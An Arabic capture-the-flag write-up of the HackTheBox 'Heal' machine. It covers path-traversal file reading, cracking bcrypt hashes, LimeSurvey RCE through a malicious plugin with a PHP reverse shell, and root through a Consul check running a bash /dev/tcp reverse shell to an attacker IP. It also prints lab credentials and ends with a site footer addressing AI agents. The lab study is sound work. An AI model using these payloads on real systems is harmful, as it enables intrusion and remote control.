> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# تقرير Heal على HackTheBox

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**المهارات:**

* LFI (تضمين ملف محلي)
* RCE (تنفيذ التعليمات البرمجية عن بُعد) في LimeSurvey
* كسر الهاشات باستخدام Hashcat
* الانتقال إلى مستخدم آخر
* تصعيد الصلاحيات عبر Consul
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/94e4e86e712da90ed0ccf505549fb8ab6e061d29" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/0522dbd84d04f02faef6e588b0ec7eb3578ea643" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="/files/159ae8ca04f85a3781221b1e5fa380775093e86b" alt=""><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap: (22,80)

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="/files/d0f1365795c15b0044e794b4969a2c881be32f7e" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/992f07f82e11b859a130c81bb56d31169cacc33d" alt="" width="563"><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/4b5af4447fdc58874d7d7cc26c388148aff3fcf0" alt=""><figcaption></figcaption></figure>

في الموقع الرئيسي، نجد إمكانية **إنشاء حساب مستخدم**.

<figure><img src="/files/69f2189c33756d927384f97027fd6a098b10babf" alt=""><figcaption></figcaption></figure>

بمجرد الاتصال، يكتشف المرء ميزة تتيح **تصدير السيرة الذاتية بصيغة PDF**.

<figure><img src="/files/b2ae7f5444a860fa328c12eaacf6f114fde0898e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7ce3f7beb413b50038208f41294ef1bfff95b077" alt=""><figcaption></figcaption></figure>

## ثغرة LFI (تضمين الملفات المحلية)

#### استغلال LFI عبر `السيرة الذاتية`

من خلال اعتراض طلب تنزيل السيرة الذاتية، نكتشف ثغرة LFI:

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> من الضروري **تضمين مصادقة الرمز المميز**، وإلا سيفشل الاستعلام.

<figure><img src="/files/dc8376b028d3e5ce8e85f8fb5bb5f1257fc2e864" alt=""><figcaption></figcaption></figure>

### استخراج ملف حساس

#### الوصول إلى قاعدة بيانات SQLite

من خلال سرد الملفات الحساسة، نكتشف إعادة توجيه إلى `/storage/development.sqlite3`

<figure><img src="/files/f028bb06e35e1faf873bc853a530a0863ef39caa" alt=""><figcaption></figcaption></figure>

تم تنزيل قاعدة البيانات واستخراج حسابين مع **هاشاتهما bcrypt**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="/files/92a4bd224a7056572b81cba8de6f87d06c284a1f" alt=""><figcaption></figcaption></figure>

### كسر الهاشات

#### باستخدام Hashcat

استخدم **Hashcat** لمحاولة كسر الهاشات باستخدام `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> النتيجة: نجد كلمة مرور **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="/files/60eefaa5200e0f0337fa2c94fbce2c8b107b5c7c" alt=""><figcaption></figcaption></figure>

### اكتشاف نطاق فرعي: `take-survey`

<figure><img src="/files/ae786354972bc137bd62e6890109845e7c93d580" alt=""><figcaption></figcaption></figure>

#### أضف السجل إلى `/etc/hosts`

يظهر نطاق فرعي جديد في التطبيق. نضيفه إلى ملفات hosts الخاصة بنا

## ثغرة في نظام إدارة المحتوى LimeSurvey

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/f20037ed98034df1cc5ad98464051937730c7e7d" alt=""><figcaption></figcaption></figure>

#### الوصول إلى مساحة الإدارة

اكتُشف أن واجهة الإدارة متاحة عبر الرابط التالي:

`http://take-survey.heal.htb/index.php/admin`

نتصل ببيانات اعتماد Ralph:

* **اسم المستخدم** : `ralph`
* **كلمة المرور** : `147258369`

<figure><img src="/files/955db5a3e55d72672cbe5d0a4c71a997b3590cb5" alt=""><figcaption></figcaption></figure>

وجدنا أن الإصدار المستخدم من LimeSurvey كان **6.6.4**، وهو عرضة لـ **تنفيذ التعليمات البرمجية عن بُعد (NCE)**.

<figure><img src="/files/187f13bd50e45af73c1f2c0ff7e46a9baf5490c1" alt="" width="563"><figcaption></figcaption></figure>

### استغلال RCE عبر إضافة خبيثة

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

قمنا بتكييف السكربت التشغيلي مع حالتنا.

<figure><img src="/files/10542b54b4f6e2ab9c56aaa9b3a0ed6c3707bb88" alt=""><figcaption></figcaption></figure>

أولًا، أنشأنا ملفًا مضغوطًا يحتوي على `config.xml` ملف وسكربت PHP reverse shell:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/a5e913a95559bffa1ad17fdc4e59298d8daf3044" alt=""><figcaption></figcaption></figure>

ثم قمنا بتثبيت هذه الإضافة الخبيثة عبر واجهة LimeSurvey الويب.

<figure><img src="/files/e9bcc76072b2ff67d0ad18c35e56ade6722bae91" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b017f7b1832899f361ba8420a3b08f916fd9d3bf" alt="" width="501"><figcaption></figcaption></figure>

من خلال تمرير الفأرة فوق الإضافة المثبتة، كشفنا عن معرّف الإضافة.

<figure><img src="/files/e5497e235ca76f054900fc9bd2a544a9992bb326" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/bb2f22729edc1ce84953bd3b9d0cbacb2d0cb3dd" alt="" width="563"><figcaption></figcaption></figure>

بعد تعديل السكربت لتضمين هذا المعرّف، استمعنا على المنفذ 443:

```bash
nc -nlvp 443
```

أخيرًا، نفذنا الاستغلال عبر Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/5424fedc935c4f225a32500507a2699027d9ee8f" alt=""><figcaption></figcaption></figure>

#### تثبيت طرفية Linux:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## الانتقال إلى المستخدم ron

من خلال استكشاف الجهاز، وجدنا مستخدمًا آخر **ron**.

<figure><img src="/files/fa1e894b2f6a0aed8a31410f842df8bbb1b60307" alt="" width="563"><figcaption></figcaption></figure>

احتوى ملف إعدادات في `التطبيق` على بيانات تسجيل الدخول وكلمات المرور للوصول إلى قاعدة البيانات:

* اسم المستخدم = `db_user`
* كلمة المرور = `AdmiDi0_pA$$w0rd`

<figure><img src="/files/8c9c57a923c4b3a8a6bfbc011513d5513c88af08" alt=""><figcaption></figcaption></figure>

باستخدام هذه البيانات، تمكنا من الوصول إلى حساب **ron**، مما مكّننا من الحصول على **العلم user.txt**.

<figure><img src="/files/0f8b3af846984c5dbbcc28b49744ace7411ee7b2" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/d39899f0dd429afafec33a1ed436a85cca1f19fd" alt="" width="563"><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

### اكتشاف المنفذ 8500 (Consul)

بالنظر إلى المنافذ المفتوحة، وجدنا المنفذ **8500**، والذي يطابق الواجهة الويب لـ Consul.

<figure><img src="/files/bf873af511c894c6d029e6447425e74d76e40646" alt=""><figcaption></figcaption></figure>

بعد إجراء استعلام على `127.0.0.1:8500/ui/`، وجدنا إصدار Consul **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/a2e2a30727263f1d10533424b1001e0befaffc38" alt=""><figcaption></figcaption></figure>

#### التحقق من الوصول إلى REST API

اختبرنا واجهة Consul REST API للتحقق مما إذا كانت متاحة دون مصادقة:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

حصلنا على رد يؤكد أن الواجهة البرمجية كانت مفتوحة.

### الاستغلال عبر فحص خبيث

سجّلنا خدمة مع فحص خبيث باستخدام أمر bash لفتح reverse shell إلى جهازنا:

```bash
nc -lvnp 4444
```

#### تسجيل خدمة بفحص خبيث

يتيح Consul التسجيل الديناميكي للخدمات عبر طلب HTTP. نستخدم ذلك لإنشاء "check" ينفذ أمر bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

ما الذي يفعله هذا الحمولة:

* `Check.Args[]`: يحتوي على أمر bash يفتح **شل عكسي**.
* `الفاصل الزمني`: يضبط التنفيذ التلقائي كل 10 ثوانٍ.

من خلال تشغيل هذه الحمولة، تمكنا من الحصول على shell بصلاحيات root.

<figure><img src="/files/5887d36e31e2628912be7f626725c7c8bf080a48" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/fa0a8c8a1a8ccad35bbf4d29f5dccbec4e457124" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/74e5760061ac3e1e496e39dac72850ced7287221" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
